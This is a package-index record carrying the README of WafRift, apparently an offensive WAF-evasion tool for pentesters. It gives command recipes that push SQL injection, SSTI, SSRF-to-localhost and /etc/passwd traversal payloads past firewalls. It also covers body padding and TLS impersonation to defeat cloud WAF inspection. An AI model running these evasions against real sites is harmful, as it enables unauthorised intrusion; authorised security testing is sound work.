{"id":49889242,"url":"https://github.com/santhsecurity/wafrift","last_synced_at":"2026-05-24T07:04:22.507Z","repository":{"id":356626509,"uuid":"1220653210","full_name":"santhsecurity/wafrift","owner":"santhsecurity","description":"Santh — wafrift","archived":false,"fork":false,"pushed_at":"2026-05-24T03:17:23.000Z","size":4740,"stargazers_count":8,"open_issues_count":0,"forks_count":1,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-24T03:26:10.769Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://santh.dev","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/santhsecurity.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE-APACHE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-04-25T06:40:03.000Z","updated_at":"2026-05-24T03:17:26.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/santhsecurity/wafrift","commit_stats":null,"previous_names":["santhsecurity/wafrift"],"tags_count":3,"template":false,"template_full_name":null,"purl":"pkg:github/santhsecurity/wafrift","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/santhsecurity%2Fwafrift","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/santhsecurity%2Fwafrift/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/santhsecurity%2Fwafrift/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/santhsecurity%2Fwafrift/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/santhsecurity","download_url":"https://codeload.github.com/santhsecurity/wafrift/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/santhsecurity%2Fwafrift/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33424576,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-23T22:14:44.296Z","status":"online","status_checked_at":"2026-05-24T02:00:06.296Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2026-05-15T20:09:07.712Z","updated_at":"2026-05-24T07:04:22.481Z","avatar_url":"https://github.com/santhsecurity.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# WafRift\n\n[![CI](https://github.com/santhsecurity/wafrift/actions/workflows/ci.yml/badge.svg)](https://github.com/santhsecurity/wafrift/actions/workflows/ci.yml)\n[![License: MIT OR Apache-2.0](https://img.shields.io/badge/License-MIT%20OR%20Apache--2.0-blue.svg)](#license)\n[![Crates.io](https://img.shields.io/crates/v/wafrift-cli)](https://crates.io/crates/wafrift-cli)\n\n\u003e Part of the [Santh](https://santh.dev) security research ecosystem.\n\n\u003e **Status: BETA.** WafRift is under active development and has **not been\n\u003e extensively tested against live production WAFs in the field**. The local\n\u003e WAF stacks under `wafrift-bench/targets/` (ModSecurity PL1–4, Coraza,\n\u003e BunkerWeb, naxsi) are exercised in CI, but coverage of cloud WAFs\n\u003e (Cloudflare, AWS WAF, Akamai, Imperva, Azure Front Door, F5) is still\n\u003e sparse. Treat results from those targets as preliminary.\n\u003e\n\u003e **Pull requests are welcome** — bug reports, evasion techniques, WAF\n\u003e fixtures, and gene-bank submissions especially. See [CONTRIBUTING.md](CONTRIBUTING.md)\n\u003e if it exists; otherwise open an issue or PR directly on\n\u003e [github.com/santhsecurity/wafrift](https://github.com/santhsecurity/wafrift).\n\n**A programmable WAF-evasion engine with per-technique controls, and an evolutionary mode that learns bypasses for you.**\n\nOther tools give you one trick: junk padding, header injection, smuggling, or a static tamper list. WafRift is the union: encoding, grammar-aware mutation, content-type switching, request smuggling, and TLS/HTTP fingerprint rotation. The CLI exposes every encoding strategy and the grammar layer as fine-grained `--only`/`--exclude` selectors; the rest run as part of the default pipeline. Per-host toggle persistence and a Burp Suite control panel are tracked in the [roadmap](docs/GAP_CLOSURE_ROADMAP.md). Turn the engine loose and a search loop (hill-climb / SA / tabu / novelty / MAP-Elites) discovers what bypasses the target WAF and persists winning pipelines to a per-WAF **gene bank** so the next scan starts with zero discovery phase.\n\n## What's new (v0.2.13)\n\n- **Proxy adversarial sweep — 6 defects fixed.**\n  - **CRITICAL** `crates/proxy/src/mitm.rs:214` — leaf certs for IP\n    literals (`https://127.0.0.1`, `https://[::1]`) used dNSName SAN\n    instead of iPAddress SAN, causing browser TLS errors on every\n    MITM of a private IP. Fixed: `iPAddress` SAN for IP literals.\n  - **HIGH** `crates/proxy/src/main.rs:1759` — stealth response path\n    parsed only the first `Connection` header, leaking hop-by-hop\n    tokens from later `Connection` headers downstream.\n  - **HIGH** `crates/proxy/src/main.rs:479` — gene-bank loader\n    silently discarded pre-schema-v0.1 flat-HashMap files,\n    destroying all saved discovery on upgrade.\n  - **HIGH** `crates/proxy/src/main.rs:598` — `restore_gene_bank`\n    bypassed the 10K host memory cap; malicious gene-banks could\n    exhaust proxy RAM at startup.\n  - **MEDIUM** `crates/proxy/src/main.rs:626` — `--max-evade-retries`\n    had no upper bound; per-request retry storms pinned CPU.\n  - **MEDIUM** `crates/proxy/src/tui/state.rs:382` — TUI host list\n    grew without bound during long engagements.\n  - **LOW** `crates/proxy/src/main.rs:570` — `save_gene_bank` left\n    tempfiles behind on disk-full / I/O errors.\n  - +367 LOC of new tests across `evade_retry_cap.rs`,\n    `mitm_ip_san.rs`, `proxy_tests.rs`. wafrift-proxy now 283 / 283\n    green.\n\n## What's new (v0.2.12)\n\n- **Pentester acceptance sweep.** Two fixes that matter the moment\n  a pentester actually uses the tool: (a) `wafrift --quiet evade ... |\n  head` no longer panics with \"failed printing to stdout: Broken\n  pipe\" — both binaries install `SIGPIPE = SIG_DFL` at startup (the\n  canonical Unix CLI idiom). Locked with a regression test. (b)\n  README gained a Burp Suite / Caido / mitmproxy upstream-proxy\n  chaining recipe so `Browser → Burp → wafrift-proxy → Target` is\n  documented end-to-end, including the standard 8080 port collision\n  workaround.\n- **SSRF NUL-in-host engine fix.** `SsrfOracle` now salvages the\n  CVE-2017-15046 family (`http://127.0.0.1%00.evil.com/` and the\n  literal-NUL twin) by stripping at the first encoded-or-literal NUL\n  after `://`, re-parsing the prefix, and accepting iff the parsed\n  host is itself an SSRF indicator. The salvage is gated on the\n  parsed `host_str()` so existing public-host substring FPs can't\n  exploit the new path. Locked with 9 corpus tests including a\n  negative twin.\n- **Doctest coverage 1 → 28** across all 16 library crates. Every\n  public API now ships with a runnable example that compiles, runs\n  under `cargo test --doc`, and renders on docs.rs.\n- **Tier-B TOML migration.** 16 hardcoded `const X: \u0026[\u0026str]` lists\n  across 7 source files moved to TOML data under each crate's\n  `rules/` directory: WAF block indicators (13), XSS validation\n  taxonomy (70), XSS mutator corpus (42), SSRF schemes (10), SSTI\n  introspection markers (20), LDAP grammar (16), HTTP/2 GOAWAY\n  phrases (4). Loaded via `OnceLock` + `include_str!` so cargo\n  install still produces a self-contained binary. ~155 entries are\n  now community-extensible without touching Rust.\n- **CI hardening.** New `cargo audit` job (continue-on-error so\n  transitive-dep advisories don't block PR merges but stay\n  visible). `manpage_in_sync.rs` regression test catches\n  `docs/man/wafrift.1` drift before merge — the manpage shipped\n  stale at three previous releases (0.2.1, 0.2.11, 0.2.12) before\n  this gate. `rust-version` synced 1.85 → 1.88 to match what CI\n  actually proves.\n- **Workspace polish.** Pedantic clippy down 936 → ~440;\n  `clippy::doc_markdown` cleared 287 → 0 so every public docstring\n  renders cleanly on docs.rs. Three thin crate READMEs\n  (`wafrift-types`, `wafrift-content-type`, `wafrift-pool`)\n  expanded from one-paragraph stubs to structured pages with API\n  surface, stability notes, and usage. Five `#[allow(dead_code)]`\n  markers on public API surface dropped. Smoke-alarm encoding\n  tests in `core/tests/encoding_*` (12 sites) hardened to byte-\n  precise %-encoding assertions with span-count and pass-through\n  checks. Orphan `oracle/src/test_url.rs` deleted; URL corpus\n  salvaged into a real `ssrf_loopback_bypass_corpus` integration\n  test. 2926 / 2926 workspace tests green.\n\n## What's new (v0.2.11)\n\n- **Audit-driven hardening sweep (batches 1–9, v0.2.4 → v0.2.11).**\n  Nine review batches landed CRITICAL / HIGH / MEDIUM credibility\n  fixes across the whole workspace: PSL supercookie guard on cookie\n  `Domain=` (`transport`); per-request DNS pinning to close hostname\n  rebinding for `StealthClient`; precision rewrite of XSS signal\n  scoring (`grammar`); `EvasionConfig.allow_private_upstream`\n  (default `false`) blocks RFC1918 / loopback / link-local SSRF\n  unless explicitly opted in; per-host fairness in the global\n  challenge-prompt cap; budget repay on dropped MCTS evals;\n  status-aware classifier kills 200-OK false positives; `HostState`\n  totals lifted to `u64`; CRLF/NUL/`;` rejected in cookie values to\n  block HTTP request splitting; `oracle` cmdi OOM and ssrf \"0\"\n  indicator FP fixes; bench harness, MITM cert builder, intercept\n  GC, learning-cache atomic-save, and content-type unique-boundary\n  wiring all hardened. 30 hollow content-type tests + 3 smuggling\n  smoke alarms replaced with rigorous structural assertions.\n  2892 / 2892 workspace tests green at v0.2.11.\n- **Genome registry (`wafrift-genome-registry`)** — ed25519-signed\n  community evasion bundles, deterministic canonical encoding,\n  trust list at `~/.wafrift/trusted-keys.toml`, surfaced under\n  `wafrift bank`.\n- **`captchaforge` adapter (`wafrift-captchaforge-bridge`)** —\n  optional managed-challenge solver that subscribes a chromiumoxide\n  solver into wafrift's challenge flow. `wafrift-proxy --captchaforge`.\n- **`wafrift bypass-probe URL`** — Tsai-class differential vuln\n  finder. Fires 136 auth-bypass header probes\n  plus path-routing variants and HTTP method overrides against a single URL or a `--paths-file`\n  list, classifies each response vs the baseline, reports HIGH /\n  MEDIUM / LOW divergences with reproduce-it `curl` commands.\n  Bounded-concurrency (`--concurrency 8` default) — 12 paths × ~190\n  probes each finishes in \u003c1 second.\n\n## Earlier changes (v0.2.3)\n\n- **`wafrift bypass-probe URL`** — the Tsai-class differential vuln\n  finder. Fires 136 auth-bypass header probes\n  plus path-routing variants and HTTP method overrides against a single URL or a `--paths-file`\n  list, classifies each response vs the baseline, reports HIGH /\n  MEDIUM / LOW divergences with reproduce-it `curl` commands.\n  Bounded-concurrency (`--concurrency 8` default) — 12 paths × ~190\n  probes each finishes in \u003c1 second.\n- **`wafrift evade --payload \"http://allowed.com/\"`** now generates\n  the full Orange-Tsai parser-confusion family (basic userinfo,\n  GitLab CVE-2018-19571 fragment-userinfo, query-userinfo, backslash,\n  `%40` / `%2540`, port-then-userinfo, newline / null in authority)\n  for SSRF payloads — using the user's input host as the cover and\n  rotating cloud-metadata targets through the userinfo position.\n- **`wafrift-proxy --tui`** rewritten as a real MITM live viewer.\n  Three tabs (Flow / Overview / Hosts), per-request inspect pane\n  showing both directions (headers + body excerpts), live req/s\n  + bypasses/s sparklines, status-graded coloring. `j`/`k` to\n  navigate, `Enter` to inspect, `Tab` to switch tabs.\n- **`wafrift-proxy --mitm`** no longer aborts on HTTPS — the rustls\n  CryptoProvider is now installed at startup. Verified end-to-end\n  against `example.com`.\n- **Stability**: a single 100 KB POST used to hang the proxy and\n  cascade-kill it under load (held a global mutex across MCTS\n  iteration). Lock now snapshots state and runs evasion outside.\n  50 concurrent reqs → 50 HTTP 200 instead of all timeout.\n- **Bench corpus**: 579 → 607 cases. New TOML files for\n  parser-confusion-authority (SSRF) and routing-disagreement\n  (path).\n- See `CHANGELOG.md` for the full v0.2.3 entry (lock fix, MCTS body\n  budget, three more UTF-8 mutator panics, `--insecure` warn,\n  gene-bank race fix, eleven misplaced test blocks rescued, clippy\n  `-D warnings` clean).\n\n## Measured bypass rates\n\nEvery number below is reproducible from the bench harness in\n[`wafrift-bench/`](./wafrift-bench/). Methodology in\n[`wafrift-bench/methodology.md`](./wafrift-bench/methodology.md);\nmachine-readable JSON in `wafrift-bench/results/`.\n\n**Target: ModSecurity + OWASP CRS (the most-deployed open-source WAF).**\nCorpus: 557 cases across 10 attack classes (sql / xss / cmdi / ssti /\npath / ldap / xxe / ssrf / nosql / log4shell). 10 evasion strategies\ncombined: payload-string mutation, MCTS (mctrust 0.4), HTTP smuggling,\ncontent-type confusion, ReDoS, hill-climbing, simulated annealing,\ntabu, novelty, MAP-Elites. Oracle-gated (each \"bypass\" verified\nstructurally as a valid attack, not garbage that slipped past).\n\n| Paranoia | Variants sent | Bypassed | Bypass rate | Cases ≥1 bypass |\n|---|---:|---:|---:|---:|\n| **PL=1** (default) | 46k | 16.7k | **36%** | **557 / 557 (100%)** |\n| PL=2 | 60k | 17.6k | 29% | 557 / 557 (100%) |\n| PL=3 | 60k | 17.3k | 28% | 557 / 557 (100%) |\n| **PL=4** (most aggressive) | 60k | 16.3k | **27%** | **557 / 557 (100%)** |\n\n**At every paranoia level, including PL=4, the most paranoid CRS\npreset: every single attack case in the corpus has at least one\nworking bypass when the full strategy stack is applied with 60+\nvariants per case.** Once a working evasion seed exists, the per-host\ngene bank (`~/.wafrift/genomes/`) replays it indefinitely, so\nsubsequent scans against the same WAF start with zero discovery\nphase.\n\n**What this number does NOT mean.** \"557/557 cases bypassed\" is a\nsearch-budget result, not a one-shot bypass rate. With the proxy alone\non default settings (no `--max-evade-retries`, only HTTP-layer\nescalation) a single naked SQLi against PL=4 will typically still get\nblocked: the proxy doesn't currently mutate URL-injected payload\nbytes, only HTTP-layer artefacts (UA / headers / body encoding).\nPayload-byte mutation lives in `wafrift scan` and `wafrift bench-waf`.\nFor a worked example see\n[`docs/PRACTITIONER_WALKTHROUGH.md`](./docs/PRACTITIONER_WALKTHROUGH.md).\n\n```bash\n# Reproduce\ngit clone https://github.com/santhsecurity/wafrift \u0026\u0026 cd wafrift\nwafrift-bench/scripts/up.sh modsec-pl4\ncargo run --release -p wafrift-cli -- bench-waf \\\n    --base-url http://127.0.0.1:18084 \\\n    --corpus wafrift-bench/corpus \\\n    --evade --variants 20 \\\n    --strategies heavy,mcts,smuggling,content-type,redos,hill-climb,sim-anneal,tabu,novelty,map-elites,differential \\\n    --oracle-gate \\\n    --output repro.json\njq .evaded_summary repro.json\n```\n\n## How WafRift compares\n\n| Tool | Encoding | Grammar mutation | Smuggling | Content-type swap | Per-host learning | Forward proxy | Replay |\n|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|\n| sqlmap `--tamper` | partial | SQL only | – | – | – | via `--proxy` | – |\n| Burp `nowafpls` | – | – | – | – | – | Burp ext. | – |\n| Burp \"Bypass WAF\" | header tricks | – | – | – | – | Burp ext. | – |\n| HTTP Request Smuggler | – | – | yes | – | – | Burp ext. | – |\n| **WafRift** | **15+ strategies** | **SQL/XSS/CMD/SSTI/path/LDAP/SSRF** | **CL.TE / TE.CL / TE.TE** | **multipart/json/xml** | **gene-bank** | **standalone + MITM** | **deterministic** |\n\nWafRift does NOT replace sqlmap (still the right end-to-end SQLi\nexploitation tool against an unprotected target) or Burp (still the\nright intercepting GUI for an interactive session). WafRift is the\nevasion layer you add when those tools are blocked by a WAF. Once a\nworking evasion seed exists, the per-host gene bank\n(`~/.wafrift/genomes/`) replays it indefinitely — a Cloudflare scan\nstarts with proven bypasses on every subsequent run, **zero\ndiscovery phase**. Grammar mutations are validated against\n`sqlparser-rs` AST equivalence, so SQL variants actually parse — most\ntampers ship broken payloads and don't know it.\n\n## Installation\n\n### Prebuilt binaries (recommended)\n\nDownload the latest release for your platform from [GitHub Releases](https://github.com/santhsecurity/wafrift/releases):\n\n```bash\n# Linux (x86_64)\ncurl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-$(uname -m)-unknown-linux-gnu.tar.gz | tar xz\nsudo mv wafrift wafrift-proxy /usr/local/bin/\n\n# macOS (Apple Silicon)\ncurl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-aarch64-apple-darwin.tar.gz | tar xz\nmv wafrift wafrift-proxy /usr/local/bin/\n```\n\n### From crates.io\n\n```bash\ncargo install wafrift-cli --version '\u003e=0.2.13'\n# Optional: TLS impersonation (rquest 5.x + BoringSSL, adds boring-sys C build)\ncargo install wafrift-proxy --version '\u003e=0.2.13' --features tls-impersonate\n```\n\nThis installs the `wafrift` and `wafrift-proxy` binaries. Requires a\nRust toolchain.\n\n\u003e **⚠ Avoid `wafrift-detect@0.2.0`.** The 0.2.0 build of the\n\u003e `wafrift-detect` sub-crate on crates.io shipped with an empty WAF\n\u003e rule database (build-script path bug; the 182 vendored TOML files\n\u003e were excluded from the published artefact). 0.2.1+ is fixed and is\n\u003e the version pulled in by `wafrift-cli \u003e= 0.2.1`. If you have an\n\u003e older install: `cargo install --force wafrift-cli`.\n\u003e\n\u003e **0.2.2 highlights:** body-padding evasion (cloud-WAF inspection\n\u003e bypass), TLS profile rotation pool, per-request connection-reuse\n\u003e off, real-time TUI dashboard, `quote_free` SQL mutator (naxsi 0.6%\n\u003e → 99.4%), SSRF scheme-mangling (naxsi 2.1% → 78.7%), path absolute-\n\u003e target promotion (naxsi 5.6% → 70.4%). Full notes: CHANGELOG.md.\n\n### From source\n\n```bash\ngit clone https://github.com/santhsecurity/wafrift \u0026\u0026 cd wafrift\ncargo install --path crates/cli\n```\n\n## Quickstart\n\nPick your workflow: each is copy-paste ready.\n\n### 🏁 CTF: \"I have a SQLi but there's a WAF\"\n\n```bash\n# Get bypass variants instantly (offline, no target needed)\nwafrift evade --payload \"' OR 1=1--\" --level heavy\n\n# Found a WAF? Fire all variants and see what gets through\nwafrift scan --target http://ctf.example/vuln --payload \"' OR 1=1--\"\n```\n\n### 🔍 Pentest: \"sqlmap/ffuf behind a WAF\"\n\n```bash\n# Start the evasion proxy\ncargo run -p wafrift-proxy -- --listen 127.0.0.1:8080\n\n# Route your tools through it\nsqlmap -u \"https://target/x?id=1\" --proxy=\"http://127.0.0.1:8080\"\nffuf -x http://127.0.0.1:8080 -u https://target/FUZZ -w wordlist.txt\n\n# Check live findings mid-session\ncurl http://127.0.0.1:8080/_wafrift/findings.md\n```\n\n### 🎯 Bug Bounty: \"Scan this target, give me a report\"\n\n```bash\n# Full autonomous scan with JSON output\nwafrift scan --target https://target.com --payload \"' UNION SELECT 1--\" \\\n  --param id --format json --output results.json\n\n# Generate a markdown writeup from findings\nwafrift report --only-host target.com --output writeup.md\n```\n\n### 🗺️ Discovery: \"I have an OpenAPI spec / GraphQL endpoint, find injection points\"\n\n```bash\n# Parse an OpenAPI 2.0/3.x JSON spec into structured injection points\nwafrift discover --spec api.json --format json --output endpoints.json\n\n# Probe a GraphQL server's introspection schema\nwafrift discover --target https://api.example.com/graphql --introspect\n\n# Differential parameter mining against a single endpoint\nwafrift discover --target https://app.example.com/search \\\n  --mine-params --wordlist /path/to/burp-parameter-names.txt\n\n# Combine modes; results are deduplicated by (method, url) and emit\n# `DiscoveredEndpoint` JSON suitable for piping into `wafrift scan`.\nwafrift discover --spec api.json --target https://app.example.com \\\n  --introspect --mine-params --wordlist params.txt --format json\n```\n\nEach injection point carries its `ParameterLocation` (Query / Path /\nHeader / Cookie / Body), `InjectionContext` (`JsonString` /\n`UrlQuery` / `XmlText` / `MultipartField` / etc.) inferred from the\nspec's media type, and a `required` flag: letting `wafrift scan`\npick context-aware encodings instead of guessing.\n\n### 🛡️ Stealth: \"Cloudflare/Akamai blocks me on JA3 before I can even probe\"\n\n```bash\n# One-time: build with the BoringSSL impersonation feature.\ncargo install wafrift-proxy --features tls-impersonate\n\n# Run the proxy wearing a real Chrome 131 ClientHello on every\n# upstream forward. JA3 / JA4 / h2 SETTINGS all match a real browser\n# bytes-for-bytes: edge WAFs that classify on TLS fingerprint\n# (Cloudflare bot management, Akamai, Sigsci, Imperva Bot Protection)\n# see \"browser\" instead of \"rustls\" and let the connection through to\n# inspection, where wafrift's HTTP-level evasion takes over.\nwafrift-proxy --listen 127.0.0.1:8080 --tls-impersonate chrome131\n\n# Profiles: chrome131, chrome120, edge131, firefox133, safari18,\n# safari17_5, okhttp5; aliases `chrome`, `firefox`, `safari`, `edge`\n# resolve to the latest-of-family. See docs/TLS_PARITY.md.\n\n# Now sqlmap / ffuf / curl through this proxy gets through edge TLS\n# fingerprinting without any extra config.\nsqlmap -u \"https://target.cloudflare-protected.com/x?id=1\" --proxy=http://127.0.0.1:8080\n```\n\n#### Per-request fingerprint rotation + body padding\n\nCloud WAFs inspect only the leading bytes of a request body\n(Cloudflare Pro 8 KB, AWS WAF 16 KB, Akamai 8 KB): pad past that\nwindow and the rule engine never sees the malicious bytes. Combine\nwith TLS profile rotation and a fresh TCP source port per request:\n\n```bash\nwafrift-proxy --listen 127.0.0.1:8080 \\\n    --tls-impersonate-rotate chrome131,firefox133,safari18 \\\n    --body-padding-bytes 16384 \\\n    --no-conn-reuse \\\n    --tui\n```\n\n- `--tls-impersonate-rotate` round-robins across the listed browser\n  profiles. Defeats per-fingerprint rate limits and reputation.\n- `--body-padding-bytes 16384` prepends 16 KB of inert filler to every\n  JSON / form-urlencoded / multipart body via the new\n  `_wafrift_pad` field/part. Cloud WAFs miss the payload; the origin\n  parses it correctly.\n- `--no-conn-reuse` opens a fresh TCP connection per upstream forward\n  (kernel picks a new ephemeral source port each time).\n- `--tui` opens a real-time terminal dashboard (per-host bypass rate,\n  TLS rotation distribution, padded-body counter, live request stream).\n  Press `q` for graceful shutdown, `r` to reset counters.\n\n### 🔴 Red Team: \"Persistent evasion against the same WAF\"\n\n```bash\n# First scan learns what bypasses the WAF in front of target.com\n# (wafrift detects the WAF automatically and tags genome by name)\nwafrift scan --target https://target.com --payload \"' OR 1=1--\"\n\n# Subsequent scans against any target behind the same WAF start in\n# rotation mode (zero discovery). Genome at ~/.wafrift/genomes/\u003cwaf\u003e.json\n# persists across sessions.\nwafrift scan --target https://other-target-same-waf.com --payload \"' OR 1=1--\"\n\n# Replay a finding deterministically (exits 0 on bypass, 2 on block).\n# --from-waf reads the genome wafrift's detect step identified earlier\n# (e.g. \"ModSecurity\"); --from-host pulls from the proxy gene-bank.\nwafrift replay --target https://target.com --param id \\\n    --payload \"' OR 1=1--\" --from-waf ModSecurity\n```\n\n\u003e Genomes only exist for WAFs you've previously scanned. Out-of-the-box\n\u003e there are no pre-shipped vendor genomes; first scan against any new\n\u003e WAF goes through full discovery.\n\n## Operator reference\n\nThe persona quickstarts above cover most workflows. Three areas warrant\ntheir own reference because they're easy to miss otherwise.\n\n### Live MITM dashboard (`wafrift-proxy --tui`)\n\nThree tabs. Switch with `Tab` or `1`/`2`/`3` (or `f`/`o`/`h`).\n\n- **Flow** — bounded ring of 500 requests with status-graded coloring\n  (2xx green, 3xx cyan, 4xx yellow, 5xx red; outcome BYPASS green,\n  BLOCK red, PASS white). `j`/`k` navigate, `g`/`G` jump to first /\n  last, `Enter` toggles a side detail pane that shows the full\n  inspection: outgoing request line + every post-evasion header +\n  body excerpt; incoming response status + every header + body\n  excerpt; summary block (WAF, attempts, latency, body padding, TLS\n  profile, technique chain, total response size). Two sparklines\n  underneath: req/s and bypasses/s over the last 60 s.\n- **Overview** — counters, TLS rotation gauge, WAFs identified.\n- **Hosts** — per-host bypass table sortable by sent count, with\n  bypass-rate color grading and the identified WAF column.\n- `q` / `Esc` to quit (gracefully flushes the gene bank).\n\n### Fine-grained technique selection\n\nEvery encoding strategy and the grammar layer is addressable as a\nhierarchical path. List the tree, then include or exclude per command:\n\n```bash\nwafrift techniques list                                # see the tree\nwafrift evade --payload \"' OR 1=1--\" --only encoding/url\nwafrift scan --target http://target.com --payload \"' OR 1=1--\" \\\n    --exclude encoding/url/triple,encoding/sql/comment\n```\n\nUnknown selectors fail fast — no silent drops.\n\n### Differential bypass probing (`wafrift bypass-probe`)\n\nFor Tsai-class boundary-mismatch vulns (admin panel gated by WAF\nheader rule, `X-Original-URL` rewrite, ProxyShell-style routing\ndisagreement, IP-trust spoofing), point bypass-probe at the resource\nand let it fire the full 136-probe auth-bypass set plus path/method variants:\n\n```bash\n# Single URL\nwafrift bypass-probe https://target/admin --concurrency 16\n\n# Whole admin surface from a list\ncat \u003e paths.txt \u003c\u003cEOF\n/admin\n/api/admin\n/.env\n/actuator/env\n/wp-admin\nEOF\nwafrift bypass-probe https://target --paths-file paths.txt \\\n    --concurrency 16 --min-severity medium --format json \u003e findings.json\n```\n\nEach divergence (status flip, body delta) is reported with a\nreproduce-it `curl` one-liner.\n\n### Burp Suite / Caido / mitmproxy chaining\n\nWafRift is a forward HTTP proxy and slots in next to any other intercepting\nproxy. The conventional pentest layout is:\n\n```\nBrowser → Burp (8080) → wafrift-proxy (8181) → Target\n                ▲                  ▲\n                │                  └── applies WAF evasion (encoding,\n                │                      CT switching, padding, fingerprint\n                │                      rotation, MCTS) before forwarding\n                │\n                └── operator inspects/edits requests in Burp's UI as usual\n```\n\nRun wafrift-proxy on a different port (Burp owns 8080 by default; use 8181\nor any free port) and tell Burp to use it as the \"Upstream Proxy Server\"\nfor the target host:\n\n```bash\n# 1. Start wafrift-proxy on 8181 with whichever evasion config you want.\nwafrift-proxy --listen 127.0.0.1:8181 \\\n  --content-type-switching \\\n  --max-rps-per-host 5 \\\n  --tls-impersonate-rotate chrome131,firefox133\n\n# 2. In Burp:  User options → Connections → Upstream Proxy Servers\n#    → Add → Destination host: target.example.com\n#                Proxy host: 127.0.0.1   Proxy port: 8181\n#\n# Caido has the same setting under  Settings → Proxies → Upstreams.\n# mitmproxy:  mitmdump --mode upstream:http://127.0.0.1:8181\n```\n\nThe Burp tab still shows every request and lets you intercept / replay /\nscope; wafrift-proxy applies evasion just before the upstream forward and\nrecords bypasses to its gene bank — so subsequent runs of the same\ntarget start from the learned winners, not zero discovery.\n\nTo replay a captured Burp request directly through wafrift's evasion\npipeline (no proxy chain needed), copy as cURL and pipe through\n`import-curl`:\n\n```bash\n# Burp → right-click request → Copy as cURL → save to /tmp/req.curl\nxclip -o \u003e /tmp/req.curl\nwafrift import-curl /tmp/req.curl --evade --output /tmp/scan.json\n```\n\nCLI output is line-delimited JSON when `--quiet` is set, so it pipes\ncleanly into `jq`, `head`, `grep -m 1`, etc. (`SIGPIPE` is handled\nsilently — no broken-pipe panics on `wafrift evade ... | head`).\n\n### Proxy scope, rate limit, live findings\n\n```bash\n# Only evade *.example.com on JSON API endpoints; skip login + static.\nwafrift-proxy --listen 127.0.0.1:8080 --mitm \\\n  --only-host '*.example.com' \\\n  --skip-path '/static/*,/oauth/*,/login,/favicon.ico' \\\n  --only-method 'POST,PUT,PATCH,DELETE'\n\n# Token bucket: 5 req/s per upstream host, burst of 10.\nwafrift-proxy --listen 127.0.0.1:8080 --mitm \\\n  --max-rps-per-host 5 --max-rps-per-host-burst 10\n\n# Live findings, loopback-only:\ncurl http://127.0.0.1:8080/_wafrift/findings.md   # markdown writeup\ncurl http://127.0.0.1:8080/_wafrift/status        # JSON (per-host stats)\n```\n\nGlobs use a tiny ASCII grammar (`*` matches any run, `?` matches one\nbyte, case-insensitive). `--skip-host`/`--skip-path` evaluate after\ntheir `--only-*` counterparts.\n\n### Authorisation\n\n`wafrift-proxy` refuses upstream targets in private / loopback /\nRFC1918 / link-local ranges by default; pass `--allow-private-upstream`\nonly against lab targets you own. `wafrift replay` and `bypass-probe`\nsend genuinely exploitable strings: only run them against systems you\ncontrol or have explicit written authorisation to test.\n\n### CTF / pentest quick recipes\n\nFive common shapes a security practitioner runs into. Every recipe is a single command: no setup beyond `cargo install wafrift-cli` (or `docker run santhsecurity/wafrift`) and the `--target`/`--payload` you'd be testing anyway.\n\n**1. SQL-injection login bypass.** WAF blocks `' OR 1=1--`; find a variant that lands.\n\n```bash\nwafrift scan --target https://target/login \\\n  --payload \"' OR 1=1--\" --param username --level heavy\n```\n\nOutput prints which evasion technique chain produced the bypass. Replay later with the exact chain saved into the gene-bank: second run skips discovery.\n\n**2. SSTI in a server-side template.** Variant of `{{7*7}}` that the WAF allows but the engine still evaluates.\n\n```bash\nwafrift scan --target https://target/profile \\\n  --payload \"{{7*7}}\" --param name --level heavy --only grammar/ssti,encoding\n```\n\n`--only grammar/ssti,encoding` keeps the search focused: running the full pipeline against a single template reflection is slow.\n\n**3. SSRF to internal admin.** Smuggle a `127.0.0.1:9000` request past a WAF that only blacklists string `127.0.0.1`.\n\n```bash\nwafrift scan --target https://target/preview \\\n  --payload \"http://127.0.0.1:9000/admin\" --param url --level heavy \\\n  --only encoding,grammar/ssrf\n```\n\nThe differential probe set (`wafrift probe`) lists the sub-techniques the WAF reliably blocks for this class, handy when the scan comes back empty and you need to know what NOT to retry.\n\n**4. Path traversal / LFI.** WAF blocks `../`; find a variant that survives.\n\n```bash\nwafrift scan --target https://target/static \\\n  --payload \"../../../etc/passwd\" --param file --level heavy \\\n  --only encoding/url,encoding/unicode,grammar/path\n```\n\n**5. XXE in an XML body.** Practitioner has the request body in a file; want to scan with that exact body shape.\n\n```bash\n# Copy the request as cURL out of Burp/ZAP, paste through import-curl:\npbpaste | wafrift import-curl --from-stdin 